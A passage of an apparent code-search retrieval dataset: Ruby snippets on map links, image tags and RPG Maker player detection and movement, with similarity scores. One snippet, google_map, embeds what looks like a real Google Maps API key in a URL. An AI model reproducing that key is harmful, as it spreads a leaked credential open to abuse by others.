"def link_to_map(address, *args)\n\n options = args.extract_options!\n options[:width] ||= 100\n options[:height] ||= 100\n\n image = image_tag(\"http://maps.googleapis.com/maps/api/staticmap?center=#{address.latitude},#{address.longitude}&zoom=11&size=#{options[:width]}x#{options[:height]}&sensor=false\")\n link_to image, \"http://maps.google.com/maps?q=#{address.latitude},#{address.longitude}&hl=en\", class: 'thumbnail', target: :_blank\n\n end",
"def show\r\n @post = Post.find(params[:id])\r\n\r\n unless @post.latitude.blank? or @post.longitude.blank?\r\n @map = GMap.new(\"map\")\r\n @map.control_init(:large_map => true,:map_type => true)\r\n @map.set_map_type_init(GMapType::G_HYBRID_MAP)\r\n @map.center_zoom_init([@post.latitude,@post.longitude],17)\r\n @map.icon_global_init(GIcon.new(:image => \"/rework/location.png\",\r\n :icon_anchor => GPoint.new(6,11),\r\n :info_window_anchor => GPoint.new(6,11)),\r\n \"businessicon\")\r\n\r\n @map.icon_global_init(GIcon.new(:image => \"/rework/youarehere.png\",\r\n :icon_anchor => GPoint.new(13,14),\r\n :info_window_anchor => GPoint.new(13,14)),\r\n \"hereicon\")\r\n\r\n busloc = Variable.new(\"businessicon\")\r\n youarehere = Variable.new(\"hereicon\")\r\n\r\n @marker = GMarker.new([@post.latitude,@post.longitude], :icon => busloc, :title => @post.company, :info_window => @post.offer)\r\n @myloc = GMarker.new([@mylat,@mylong], :icon => youarehere,:title => \"You\", :info_window => \"You Are Here At #@mylat, #@mylong\")\r\n\r\n @map.overlay_init(@marker)\r\n @map.overlay_init(@myloc)\r\n end\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @post }\r\n end\r\n end",
"def gmaps4rails_address\n \"#{latitude}, #{longitude}\"\n end",
"def index\n\n current_location = Image.nearby( 0.2, 121.52847610518472, 25.04476753094792).first\n @hash = Gmaps4rails.build_markers(current_location) do |location, marker|\n marker.lat 25.04476753094792\n marker.lng 121.52847610518472\n end\n\n end",
"def poly_line\n Hash['lng', longitude , 'lat', latitude, \"strokeColor\", \"#00000\", \"strokeWeight\", 3]\n end",
"def poly_line\n Hash['lng', longitude , 'lat', latitude, \"strokeColor\", plan.color, \"strokeWeight\", 3]\n end",
"def start_coords\n marker_coords('S')\n end",
"def map_description\n return \"Map of flight routes, created by Paul Bogard’s Flight Historian\"\n end",
"def map_description\n return \"Map of flight routes, created by Paul Bogard’s Flight Historian\"\n end",
"def icon\n image_tag( \"tags/#{ @name }.png\" , :height => 8 )\n end",
"def detect_landmarks path_to_image_file:\n # [START get_vision_service]\n vision = Google::Cloud::Vision.new\n # [END get_vision_service]\n\n # [START construct_request]\n image = vision.image path_to_image_file\n landmark = image.landmark\n # [END construct_request]\n\n # [START print_landmark]\n puts \"Found landmark: #{landmark.description}\" unless landmark.nil?\n # [END print_landmarks]\nend",
"def show\n @post = Post.find(params[:id])\n f= open(\"#{root_url}#{@post.image}\")\n @picture = EXIFR::JPEG.new(f)\n @latitude=convert_to_google(@picture.exif.to_hash[:gps_latitude],\n @picture.exif.to_hash[:gps_latitude_ref])\n @longitude=convert_to_google(@picture.exif.to_hash[:gps_longitude],\n @picture.exif.to_hash[:gps_longitude_ref])\n\n if geo = Geocoder.search(\"#{@latitude},#{@longitude}\").first\n @city = geo.city || \"\"\n @state = geo.state || \"\"\n @zipcode = geo.postal_code || \"\"\n end\n\n # and in the view : <% @picture.exif.to_hash.each do |key, value| %>\n end",
"def show\n @trip = Trip.find(params[:id])\n @meta_title = \" Thrill Engine - #{@trip.categories.map(&:name).to_sentence} in #{@trip.location} staying at #{@trip.title} \"\n @meta_description = @trip.description\n @meta_keywords = \" #{@trip.location}, #{@trip.categories.map(&:name).to_sentence}, #{@trip.title}, #{@trip.categories.map(&:name).to_sentence} in #{@trip.location}, #{@trip.categories.map(&:name).to_sentence} travel, #{@trip.categories.map(&:name).to_sentence} trips, best #{@trip.categories.map(&:name).to_sentence} spots, top #{@trip.categories.map(&:name).to_sentence} resorts, Adventure Holidays, #{@trip.categories.map(&:name).to_sentence} Holidays, #{@trip.categories.map(&:name).to_sentence} vacations \" \n @json = Trip.find(params[:id]).to_gmaps4rails\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @trip }\n end\n end",
"def image path, attrs = {}\n Tagz.tag :img, { :src => path }.merge(attrs)\n end",
"def slurl\n position = JSON.parse(self.position)\n href = \"https://maps.secondlife.com/secondlife/#{region}/#{position['x'].round}/\" \\\n \"#{position['y'].round}/#{position['z'].round}/\"\n text = \"#{region} (#{position['x'].round}, \" \\\n \"#{position['y'].round}, #{position['z'].round})\"\n h.link_to(text, href)\n end",
"def link_to_google_streetview(content, latitude, longitude)\n link_to(content, \"http://maps.google.co.uk/?q=\" + latitude.to_s + \",\" + longitude.to_s + \"&layer=c&cbll=\" + latitude.to_s + \",\" + longitude.to_s + \"&cbp=12,0,,0,5\")\n end",
"def partner_location\n @partner = Partner.find(@params['id'])\n \n #Using Open Source Maps (This is used by MapQuest)\n map_params = {\n :provider => 'OSM', \n :settings => {:map_type => \"roadmap\", :region => [@partner.lat,@partner.long, 0.2, 0.2],\n :zoom_enabled => true, :scroll_enabled => true, :shows_user_location => false}, \n :annotations => [{:latitude => @partner.lat, :longitude => @partner.long, :title => \"PRELOAD MARKER\"}]\n }\n \n #Using Google Static API maps\n #map_params = {\n # :provider => 'RhoGoogle', \n # :settings => {:map_type => \"roadmap\", :region => [40.994705,-77.604546, 0.2, 0.2],\n # :zoom_enabled => true, :scroll_enabled => true, :shows_user_location => true}, \n # :annotations => [{:latitude => 40.994705, :longitude => -77.604546, :title => \"PRELOAD MARKER\"}]\n #}\n MapView.create map_params\n \n render :back => url_for( :action => :index)\n end",
"def banner_path\n path = @path[0...@path.length - 4] + '_banner.png'\n path_remote = @path_remote[0...@path_remote.length - 4] + '_banner.png'\n File.exists?(path) ? path_remote : 'https://maps.avicus.net' + '/default_map_banner.png' # May need configured\n end",
"def index\n @images = Image.all\n @json = @images.to_gmaps4rails do |image, marker|\n @image = image\n marker.infowindow render_to_string(:action => 'show', :layout => false) \n marker.json({ :id => @image.id })\n end\n end",
"def show\n \n @rating = Rating.new(:service_id=>@service.id)\n @message = Message.new(:service_id=>@service.id)\n \n @hash = [{\n \"lat\": \"#{@service.latitude}\",\n \"lng\": \"#{@service.longitude}\",\n \"picture\": {\n \"url\": \"#{ActionController::Base.helpers.image_url('locationicon_map.png')}\",\n \"width\": 32,\n \"height\": 32\n },\n \"infowindow\": \"#{@service.title}\"\n }]\n end",
"def reg_shirt_image(reg, opts={})\n src = reg.shirt_asset_path()\n image_tag src, opts\n end",
"def create_map(location, places)\n\n places = [\"#{location[\"latitude\"]},#{location[\"longitude\"]}\",\n \"color:blue|label:A|#{places[0][\"latitude\"]},#{places[0][\"longitude\"]}\",\n \"color:blue|label:B|#{places[1][\"latitude\"]},#{places[1][\"longitude\"]}\",\n \"color:blue|label:C|#{places[2][\"latitude\"]},#{places[2][\"longitude\"]}\"]\n url_params = { :key => @api_key, :size => \"800x400\", :markers => places }\n url = set_params(@base_url, url_params)\n\n return url\n end",
"def map\n build_request do |xml|\n xml.GetMapFromSession('Version' => 1) {\n xml.SessionID @session_id\n set_display_state xml\n authenticate xml\n }\n end\n \n remote_call(:map, :image)\n \n @response\n end",
"def image(name)\n @parts.push(image: \"#{Bioturk::Application.config.image_server_interface}#{name}\")\n end",
"def marker_img_for_grade grade\n case grade.name.downcase\n when \"maternelle\"\n char = 'M'\n color = \"blue\"\n when \"primaire\"\n char = \"P\"\n color = \"orange\"\n when \"college\"\n char = \"C\"\n color = \"red\"\n when \"lycee\"\n char = \"L\"\n color = \"yellow\"\n else\n char = \"U\"\n color = \"black\"\n end\n\n \"markers/markermed_#{color}_#{char}.png\"\n end",
"def image(key, image_path)\n # Idea from here http://itext.ugent.be/library/question.php?id=31 \n # Thanks Bruno for letting me know about it.\n img = @image_class.getInstance(image_path)\n img_field = @form.getFieldPositions(key.to_s)\n\n \n rect = @rectangle.new(img_field[1], img_field[2], img_field[3], img_field[4])\n img.scaleToFit(rect.width, rect.height)\n img.setAbsolutePosition(\n img_field[1] + (rect.width - img.getScaledWidth) / 2,\n img_field[2] + (rect.height - img.getScaledHeight) /2\n )\n\n cb = @stamp.getOverContent(img_field[0].to_i)\n cb.addImage(img)\n end",
"def tip_pic(id, key, text)\n string = sprintf('<key_pic: %s, %s>', key, text)\n bitmap_picture(id, string)\n end",
"def google_map(center)\n \"https://www.google.com/maps/embed/v1/place?key=AIzaSyDNN7OiP-psXLqajIUmJsRXhHd983eDC50&q=place_id:#{center}\"\n end",
"def show_map(lat, long, path)\n map_params = {\n :settings => {:map_type => \"standard\",:region => [lat, long, 0.2, 0.2],\n :zoom_enabled => true,:scroll_enabled => true,:shows_user_location => false,\n :api_key => GOOGLE_MAPS_API_KEY},\n \n :annotations => [{\n :latitude => lat, \n :longitude => long, \n :title => Localization::Request[:address], \n :subtitle => \"I am here\",\n :url => url_for(:action => :request_rental)\n }]\n }\n MapView.create map_params\n WebView.navigate url_for :action => :request\n end",
"def capsule_map_path(count, world)\n \"#{world.urls[:images]}/map/npczahl#{count}.gif\"\n end",
"def store_get_directions\n $tracer.trace(__method__)\n return ToolTag.new(div.className(create_ats_regex_string(\"ats-getdirections\")), __method__)\n end",
"def new\n @map_image = MapImage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @map_image }\n end\n end"
] |
[
"0.6824514",
"0.65281117",
"0.64669037",
"0.631032",
"0.5903551",
"0.58798385",
"0.58798385",
"0.58798385",
"0.578538",
"0.56194264",
"0.55652374",
"0.5491314",
"0.5479745",
"0.5470793",
"0.54530746",
"0.5445605",
"0.54446155",
"0.54302865",
"0.53642136",
"0.5344973",
"0.5337514",
"0.5319222",
"0.53134507",
"0.53106064",
"0.5302155",
"0.5293243",
"0.5289561",
"0.52774805",
"0.5256341",
"0.52312005",
"0.521802",
"0.5195336",
"0.5189508",
"0.5183306",
"0.5169202",
"0.5159438",
"0.5154442",
"0.5151998",
"0.5147134",
"0.51455015",
"0.5137099",
"0.5064462",
"0.5028122",
"0.5010353",
"0.5003644",
"0.5003354",
"0.49719658",
"0.49555412",
"0.4946154",
"0.49396208",
"0.49209705",
"0.49200782",
"0.49041897",
"0.48922104",
"0.48897642",
"0.48878887",
"0.48806804",
"0.4877556",
"0.48759872",
"0.48583046",
"0.48480096",
"0.48233944",
"0.48217273",
"0.48192203",
"0.48160848",
"0.48066932",
"0.48066452",
"0.4804481",
"0.48042807",
"0.4802089",
"0.47990704",
"0.47941315",
"0.47797108",
"0.47788227",
"0.47428364",
"0.47263193",
"0.47263193",
"0.4725782",
"0.47189784",
"0.47171557",
"0.4714994",
"0.47145742",
"0.47011697",
"0.46987316",
"0.46959645",
"0.46886623",
"0.46863827",
"0.46815518",
"0.4673937",
"0.46711233",
"0.4655471",
"0.46545395",
"0.4644582",
"0.46390715",
"0.46389255",
"0.46336117",
"0.46328706",
"0.46270564",
"0.46225256",
"0.46196288"
] |
0.7739354
|
0
|
Detect if the event can spot the player and move to the player with direction relative detection
|
def player_spotted_directional?(up: nil, down: nil, left: nil, right: nil)
case $game_map.events[@event_id].direction
when 2
return player_spotted?(down || up || left || right || 1)
when 8
return player_spotted?(up || down || left || right || 1)
when 4
return player_spotted?(left || right || up || down || 1)
when 6
return player_spotted?(right || left || up || down || 1)
end
return false
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def pbEventFacesPlayer?(event,player,distance)\n return false if distance<=0\n # Event can't reach player if no coordinates coincide\n return false if event.x!=player.x && event.y!=player.y\n deltaX = (event.direction==6) ? 1 : (event.direction==4) ? -1 : 0\n deltaY = (event.direction==2) ? 1 : (event.direction==8) ? -1 : 0\n # Check for existence of player\n curx = event.x\n cury = event.y\n found = false\n for i in 0...distance\n curx += deltaX\n cury += deltaY\n if player.x==curx && player.y==cury\n found = true\n break\n end\n end\n return found\nend",
"def pbEventFacesPlayer?(event,player,distance)\n return false if distance<=0\n # Event can't reach player if no coordinates coincide\n return false if event.x!=player.x && event.y!=player.y\n deltaX = (event.direction == 6 ? 1 : event.direction == 4 ? -1 : 0)\n deltaY = (event.direction == 2 ? 1 : event.direction == 8 ? -1 : 0)\n # Check for existence of player\n curx=event.x\n cury=event.y\n found=false\n for i in 0...distance\n curx+=deltaX\n cury+=deltaY\n if player.x==curx && player.y==cury\n found=true\n break\n end\n end\n return found\nend",
"def pbTurnTowardEvent(event,otherEvent)\n sx=0\n sy=0\n if $MapFactory\n relativePos=$MapFactory.getThisAndOtherEventRelativePos(otherEvent,event)\n sx = relativePos[0]\n sy = relativePos[1]\n else\n sx = event.x - otherEvent.x\n sy = event.y - otherEvent.y\n end\n if sx == 0 and sy == 0\n return\n end\n if sx.abs > sy.abs\n sx > 0 ? event.turn_left : event.turn_right\n else\n sy > 0 ? event.turn_up : event.turn_down\n end\nend",
"def onalg_player_has_moved(player,color, start_x, start_y, end_x, end_y)\r\n if player != @alg_player\r\n \r\n end\r\n end",
"def detect_player(nb_pas, direction)\n return false if $game_switches[Yuki::Sw::Env_Detection]\n c = $game_map.events[@event_id]\n dx = $game_player.x - c.x\n dy = $game_player.y - c.y\n case direction\n when :right, 6\n return (dy == 0 && dx >= 0 && dx <= nb_pas)\n when :down, 2\n return (dx == 0 && dy >= 0 && dy <= nb_pas)\n when :left, 4\n return (dy == 0 && dx <= 0 && dx >= -nb_pas)\n else\n return (dx == 0 && dy <= 0 && dy >= -nb_pas)\n end\n end",
"def turn_to_player\n diffx = @x - $game.player.x\n diffy = @y - $game.player.y\n down = diffy < 0\n left = diffx > 0\n right = diffx < 0\n up = diffy > 0\n if down\n @direction = 2\n elsif up\n @direction = 8\n elsif left\n @direction = 4\n elsif right\n @direction = 6\n end\n end",
"def player_push_button(event)\n if ((event.x - 180)**2 + (event.y - 810)**2).abs <= 8100\n @player_playing = 0\n elsif ((event.x - 1180)**2 + (event.y - 810)**2).abs <= 8100\n @player_playing = 1\n \n else\n @player_playing = -1\n end\n end",
"def can_move?\n return false if @tb_event.nil?\n @tb_event.tb_unit.can_move?\n end",
"def check_event_trigger_at(x, y)\n # get pixel movement rate\n pix = $BlizzABS.pixel\n # if player touched this event and not jumping and not over_trigger\n if !jumping? && !over_trigger? && $BlizzABS.util.rect_intersection(\n Rect.new(@x * pix, @y * pix, pix, pix), Rect.new(x, y, pix, pix))\n # start\n start\n # started\n return true\n end\n # not started\n return false\n end",
"def movable?\n return false if (@type == 2 and @altitude < MAX_ALTITUDE)\n return (not moving?)\n end",
"def can_move?( level, x, y )\n return true\n end",
"def attacking_direction\n mouse_x, mouse_y = @game_state.camera[0] + $window.mouse_x, @game_state.camera[1] + $window.mouse_y\n \n distance_from_x = (mouse_x - mid_point_x).abs\n distance_from_y = (mouse_y - mid_point_y).abs\n \n if distance_from_x > distance_from_y\n if mouse_x > mid_point_x\n :right\n else mouse_x < mid_point_x\n :left\n end\n else\n if mouse_y > mid_point_y\n :down\n else mouse_y < mid_point_y\n :up\n end\n end\n end",
"def landed(player_position)\n if player_position = @location\n @player = true\n end \n end",
"def move?\n @moving\n end",
"def move_type_toward_player\n # Get difference in player coordinates\n sx = @x - $player.x\n sy = @y - $player.y\n # Get absolute value of difference\n abs_sx = sx > 0 ? sx : -sx\n abs_sy = sy > 0 ? sy : -sy\n # If separated by 20 or more tiles matching up horizontally and vertically\n if sx + sy >= 20\n # Random\n move_random\n return\n end\n\n # What if they follow more aggressively on harder difficulty?\n\n # Branch by random numbers 0-5\n case rand(6)\n when 0..3 # Approach player\n move_toward_player\n when 4 # random\n move_random\n when 5 # 1 step forward\n move_forward\n end\n\n end",
"def from_side?\n dir1 = get_character(-1).direction\n dir2 = get_character(@event_id).prelock_direction\n diff = (dir1 - dir2).abs\n return diff == 2 || diff == 4\n end",
"def move_type_toward_player\n # Get difference in player coordinates\n sx = @x - $game_player.x\n sy = @y - $game_player.y\n # Get absolute value of difference\n abs_sx = sx > 0 ? sx : -sx\n abs_sy = sy > 0 ? sy : -sy\n # If separated by 20 or more tiles matching up horizontally and vertically\n if sx + sy >= 20\n # Random\n move_random\n return\n end\n # Branch by random numbers 0-5\n case rand(6)\n when 0..3 # Approach player\n move_toward_player\n when 4 # random\n move_random\n when 5 # 1 step forward\n move_forward\n end\n end",
"def check_follower_trigger_there(new_x, new_y)\n if @follower.x == new_x && @follower.y == new_y\n if @follower.is_a?(Game_Event)\n @follower.start\n else\n @follower.turn_toward_player\n $game_temp.common_event_id = Game_CommonEvent::FOLLOWER_SPEECH\n end\n return true\n end\n return false\n end",
"def moving?\n if tdd_use_fme?\n Input.dir8 > 0\n else\n @real_x != @x || @real_y != @y\n end\n end",
"def event_check(x, y, d, self_event = nil)\n # get pixel movement rate and set bit\n pix, bit = $BlizzABS.pixel, (1 << (d / 2 - 1)) & 0x0F\n # iterate trough all events except self\n (self.events_only - [self_event]).each {|event|\n # if there's an event that's not through and has a graphic\n if event.character_name != \"\" && event.x == x / pix && \n event.y == y / pix && !event.through &&\n (!self_event.is_a?(Map_Battler) || event.tile_id >= 384)\n # if obstacle bit is set\n if @passages[event.tile_id] & bit != 0\n # get x and y of next tile\n case d\n when 2 then nx, ny = x / pix, (y + 1) / pix\n when 4 then nx, ny = (x - 1) / pix, y / pix\n when 6 then nx, ny = (x + 1) / pix, y / pix\n when 8 then nx, ny = x / pix, (y - 1) / pix\n else\n nx = ny = nil\n end\n # impassable if not on the same tile anymore\n return false if x / pix != nx || y / pix != ny\n # if obstacle bit is set in all directions\n elsif @passages[event.tile_id] & 0x0F == 0x0F\n # impassable in the given direction\n return false\n # if priority is 0\n elsif @priorities[event.tile_id] == 0\n # passable in the given direction\n return true\n # if event is not a tile and not through\n elsif !event.through\n # impassable in any direction\n return false\n end\n end}\n # passable\n return true\n end",
"def player_position_look_update; end",
"def di(x); $game_player.directionalInput == x; end",
"def moved(player_position)\n if player_position = @location\n @player = false\n end\n end",
"def turn_away_from_player\n # Get difference in player coordinates\n sx = @x - $player.x\n sy = @y - $player.y\n # If coordinates are equal\n if sx == 0 and sy == 0\n return\n end\n # If horizontal distance is longer\n if sx.abs > sy.abs\n # Turn to the right or left away from player\n sx > 0 ? turn_right : turn_left\n # If vertical distance is longer\n else\n # Turn up or down away from player\n sy > 0 ? turn_down : turn_up\n end\n end",
"def moving?; @moving; end",
"def moving?; @moving; end",
"def move?\n return @moving\n end",
"def move\n return false unless on_the_table?\n\n next_x, next_y = facing.next_move_position(x, y)\n unless falls_off?(next_x, next_y)\n self.x = next_x\n self.y = next_y\n true\n else\n false\n end\n end",
"def check_move(direction)\n\n if direction == 0 #up\n if @y < 1\n \n return false\n end\n elsif direction == 1 #down\n if @y > @boundry\n \n return false\n end\n elsif direction == 2 #left\n if @x < 1\n \n return false\n end\n else #right\n\n if @x > @boundry\n \n return false\n end\n\n end\n\n return true\n end",
"def player_move(player)\n if player_one == player\n player_one_move\n elsif player_two == player\n player_two_move\n else\n nil\n end\n end",
"def movable_direction?\n\t\tif(@location.x == 0 && @direction == :WEST)\n\t\t\tthen false\n\t\telsif(@location.x == @grid-1 && @direction == :EAST)\n\t\t\tthen false\n\t\telsif(@location.y == 0 && @direction == :SOUTH)\n\t\t\tthen false\n\t\telsif(@location.y == @grid-1 && @direction == :NORTH)\n\t\t\tthen false\n\t\telse\n\t\t\ttrue\n\t\tend\n\tend",
"def current_player_move\n @on_move == HUMAN_PLAYER ? human.move : computer.move\n end",
"def update_player_movement\r\n # Move player in the direction the directional button is being pressed\r\n case Input.dir4\r\n when 2\r\n move_down\r\n when 4\r\n move_left\r\n when 6\r\n move_right\r\n when 8\r\n move_up\r\n end\r\n end",
"def valid_move?\n\t\t@table.stays_on_table?(@robot_direction, @x, @y)\n\tend",
"def moving?\n !@start_move\n end",
"def lead_player \n l1 = left(@on_move)\n if @played[l1] == nil \n return nil #\n end \n end",
"def tryMove\n #Resets the angle continuously to provide accurate data.\n @angle = Math.atan2(@y - @map.player.y, @x - @map.player.x) - Math::PI / 2\n #Sets axis of acceleration with relation to the direction.\n if @direction == 1\n @aceY = Math.sin(@angle - Math::PI / 2) / 4\n else\n @aceX = Math.cos(@angle - Math::PI / 2) / 4\n end\n #Adds acceleration to velocity.\n @velX += @aceX\n @velY += @aceY\n #Terminal velocity is 3.\n if @velX > 3\n velX = 3\n elsif @velX < -3\n velX = -3\n end\n #Checks for collision and moves the missile.\n collidesWithPlayer\n detectCollision\n end",
"def move(forward)\n if @direction == \"N\"\n if @y + 1 < @@ymax\n @y += 1\n else\n puts \"Nice try sucker\"\n end\n elsif @direction == \"S\"\n if @y - 1 > @@ymin\n @y -= 1\n else\n puts \"Nice try sucker\"\n end\n elsif @direction ==\"E\"\n if @x + 1 < @@xmax\n @x += 1\n else\n puts \"Nice try sucker\"\n end\n elsif @direction == \"W\"\n if @x - 1 > @@xmin\n @x -= 1\n else\n puts \"Nice try sucker\"\n end\n else\n puts \"Where in the world are you?\"\n end\nend",
"def movable?\n # Get predicted next Point\n g = @position.next_move\n # Check if its still on the table\n on_table?(g[:x], g[:y])\n end",
"def move_toward_player\n sx = @x - $game_player.x\n sy = @y - $game_player.y\n return if sx == 0 && sy == 0\n\n abs_sx = sx.abs\n abs_sy = sy.abs\n if abs_sx == abs_sy\n rand(2) == 0 ? abs_sx += 1 : abs_sy += 1\n end\n\n if abs_sx > abs_sy\n sx > 0 ? move_left : move_right\n unless moving? || sy == 0\n sy > 0 ? move_up : move_down\n end\n else\n sy > 0 ? move_up : move_down\n unless moving? || sx == 0\n sx > 0 ? move_left : move_right\n end\n end\n end",
"def set_player_move?(player, move)\n if possible_plays.include?(move)\n player.move = move\n true\n else\n false\n end\n end",
"def calc_player\n state.dy += state.gravity # what goes up must come down because of gravity\n calc_box_collision\n calc_edge_collision\n state.y += state.dy # Since velocity is the change in position, the change in y increases by dy\n state.x += state.dx # Ditto line above but dx and x\n state.dx *= 0.8 # Scales dx down\n end",
"def event_passable?(x, y)\n # get pixel movement rate\n pix = $BlizzABS.pixel\n # iterate trough all events\n self.events_only.each {|event|\n # if there's an event that's no enemy/actor/dropped item and not through\n if event.tile_id >= 0 && event.x == x / pix && event.y == y / pix &&\n !event.through\n # if obstacle bit is set\n if @passages[event.tile_id] & 0x0F == 0x0F\n # impassable tile in the given direction\n return false\n # if priority is 0\n elsif @priorities[event.tile_id] == 0\n # passable in the given direction\n return true\n end\n end}\n # passable\n return true\n end",
"def legal_move?(x_destination, y_destination)\n x_movement_difference = (x_destination - self.x_pos).abs\n y_movement_difference = (y_destination - self.y_pos).abs\n\n x_movement_difference.between?(0, 1) && y_movement_difference.between?(0, 1)\n end",
"def valid_move?(new_x, new_y)\n true\n end",
"def next_move(bot_pos_x, bot_pos_y, princess_position)\n case\n when princess_position[0] - bot_pos_x < 0 then move = 'UP'\n when princess_position[0] - bot_pos_x > 0 then move = 'DOWN'\n when princess_position[1] - bot_pos_y < 0 then move = 'LEFT'\n when princess_position[1] - bot_pos_y > 0 then move = 'RIGHT'\n end\n move\nend",
"def calc_player\n state.player.x += state.player.dx # changes x based on dx (change in x)\n state.player.y += state.player.dy # changes y based on dy (change in y)\n\n state.player.dx *= 0.9 # scales dx down\n state.player.dy *= 0.9 # scales dy down\n\n # Compares player's x to 1280 to find lesser value, then compares result to 0 to find greater value.\n # This ensures that the player remains within the screen's scope.\n state.player.x = state.player.x.lesser(1280).greater(0)\n state.player.y = state.player.y.lesser(720).greater(0) # same with player's y\n end",
"def update_position(direction)\n ox, oy = @x, @y\n nx, ny = @x, @y\n case direction\n when :left\n nx -= 1\n when :right\n nx += 1\n when :up\n return unless @current_cell.ladder? && !@current_cell.sky?\n ny -= 1\n when :down\n ny += 1\n end\n \n # If the would-be destination isn't valid, just return without doing anything\n return if @map.cells_at[nx][ny].rock\n return unless ((0..MAP_SIZE - 1).include?(nx) && (0..MAP_SIZE - 1).include?(ny))\n \n # If we've made it this far, the move is valid. Update player's cell coords now.\n @x, @y = nx, ny\n set_center\n set_current_cell\n \n # Fire some events at the map, so it knows how to redraw things the next time around\n @map.handle(CellDugEvent.new([nx, ny])) unless @map.cells_at[nx][ny].dug? or @map.cells_at[nx][ny].sky?\n @map.handle(PlayerMovedEvent.new([ox, oy]))\n\n # Decide whether this move put the player in gravitational jeopardy\n @falling = true if @map.cells_at[nx][ny + 1].dug? && !@map.cells_at[nx][ny + 1].ladder?\n end",
"def can_move?\n @max_movement > 0\n end",
"def no_player_can_move?\n !valid_move?(:black) && !valid_move?(:red)\n end",
"def set_position\n if @player_correct[-1] == true\n @player_pos << (@player_pos[-1]) - 5\n else\n @player_pos << @player_pos[-1]\n end\n if @computer_correct[-1] == true\n @computer_pos << (@computer_pos[-1]) - 5\n else\n @computer_pos << @computer_pos[-1]\n end\n end",
"def update\n return false unless @active\n nu_x, nu_y = @x, @y\n if Input.repeat?(Input::RIGHT)\n nu_x += 1 \n elsif Input.repeat?(Input::LEFT)\n nu_x -= 1 \n elsif Input.repeat?(Input::DOWN)\n nu_y += 1 \n elsif Input.repeat?(Input::UP)\n nu_y -= 1 \n end\n #check if moved and not moved outside the map\n if (nu_x != @x or nu_y != @y) and $game_map.valid?(nu_x, nu_y)\n moveto( nu_x, nu_y)\n Sound.play_cursor\n return true\n end\n return false\n end",
"def move(direction)\n \n end",
"def move_valid_for?(player_id)\n return false if last_player_id == player_id\n\n true\n end",
"def process_cursor_move\n return unless super && @allow_change_enemy\n if Input.trigger?(:L)\n turn_page(-1)\n update_scene_index\n elsif Input.trigger?(:R)\n turn_page(1)\n update_scene_index\n end\n return true\n end",
"def need_update(member)\n return false if (member.x == @x and member.y == @y) \n return false if player_distance(member) and not @start_moving\n return false if @move_update.empty?\n @start_moving = true\n if @move_update[0] == 'move_left'\n return false if (member.x + 1 == @x and member.y == @y)\n elsif @move_update[0] == 'move_right'\n return false if (member.x - 1 == @x and member.y == @y)\n elsif @move_update[0] == 'move_up'\n return false if (member.y + 1 == @y and member.x == @x)\n elsif @move_update[0] == 'move_down'\n return false if (member.y - 1 == @y and member.x == @x)\n elsif @move_update[0] == 'move_upper_left'\n return false if (member.x + 1 == @x and member.y + 1 == @y)\n elsif @move_update[0] == 'move_upper_right'\n return false if (member.x - 1 == @x and member.y + 1 == @y)\n elsif @move_update[0] == 'move_lower_left'\n return false if (member.x + 1 == @x and member.y - 1 == @y)\n elsif @move_update[0] == 'move_lower_right'\n return false if (member.x - 1 == @x and member.y - 1 == @y)\n end\n return true\n end",
"def move\n return false if @position.nil?\n \n movements = { north: { x: 0, y: 1 }, east: { x: 1, y: 0 }, south: { x: 0, y: -1 }, west: { x: -1, y: 0 } }\n position, movement = @position, movements[@direction]\n\n return false unless valid_position?(position[:x] + movement[:x], position[:y] + movement[:y])\n \n @position = { x: position[:x] + movement[:x], y: position[:y] + movement[:y] }\n true\n end",
"def move_away_from_player\n # Get difference in player coordinates\n sx = @x - $player.x\n sy = @y - $player.y\n # If coordinates are equal\n if sx == 0 and sy == 0\n return\n end\n # Get absolute value of difference\n abs_sx = sx.abs\n abs_sy = sy.abs\n # If horizontal and vertical distances are equal\n if abs_sx == abs_sy\n # Increase one of them randomly by 1\n rand(2) == 0 ? abs_sx += 1 : abs_sy += 1\n end\n # If horizontal distance is longer\n if abs_sx > abs_sy\n # Move away from player, prioritize left and right directions\n sx > 0 ? move_right : move_left\n if not moving? and sy != 0\n sy > 0 ? move_down : move_up\n end\n # If vertical distance is longer\n else\n # Move away from player, prioritize up and down directions\n sy > 0 ? move_down : move_up\n if not moving? and sx != 0\n sx > 0 ? move_right : move_left\n end\n end\n end",
"def input\n\n # If the \"a\" key or left key is pressed, the x position of the player decreases.\n # Otherwise, if the \"d\" key or right key is pressed, the x position of the player increases.\n if inputs.keyboard.key_held.a || inputs.keyboard.key_held.left\n state.player.x -= 5\n elsif inputs.keyboard.key_held.d || inputs.keyboard.key_held.right\n state.player.x += 5\n end\n\n # If the \"w\" or up key is pressed, the y position of the player increases.\n # Otherwise, if the \"s\" or down key is pressed, the y position of the player decreases.\n if inputs.keyboard.key_held.w || inputs.keyboard.key_held.up\n state.player.y += 5\n elsif inputs.keyboard.key_held.s || inputs.keyboard.key_held.down\n state.player.y -= 5\n end\n\n # Sets the attack angle so the player can move and attack in the precise direction it wants to go.\n # If the mouse is moved, the attack angle is changed (based on the player's position and mouse position).\n # Attack angle also contributes to the position of red square.\n if inputs.mouse.moved\n state.player.attack_angle = inputs.mouse.position.angle_from [state.player.x, state.player.y]\n end\n\n if inputs.mouse.click && state.player.dx < 0.5 && state.player.dy < 0.5\n state.player.attack_angle_on_click = inputs.mouse.position.angle_from [state.player.x, state.player.y]\n state.player.attack_angle = state.player.attack_angle_on_click # player's attack angle is set\n state.player.dx = state.player.attack_angle.vector_x(25) # change in player's position\n state.player.dy = state.player.attack_angle.vector_y(25)\n end\n end",
"def update_one_player\n # if moving up\n if Input.press?(Input::UP)\n self.y -= 4 unless self.y <= 0\n end\n # if moving down\n if Input.press?(Input::DOWN)\n self.y += 4 unless self.ey >= 480\n end\n end",
"def move\n return false if @position.nil?\n\n position = @position\n movement = nil\n\n case @direction\n when :north\n movement = { x: 0, y: 1}\n when :east\n movement = { x: 1, y: 0}\n when :south\n movement = { x: 0, y: -1}\n when :west\n movement = { x: -1, y: 0}\n end\n\n moved = true\n\n if valid_position?(position[:x] + movement[:x], position[:y] + movement[:y])\n @position = { x: position[:x] + movement[:x], y: position[:y] + movement[:y] }\n else\n moved = false\n end\n\n moved\n end",
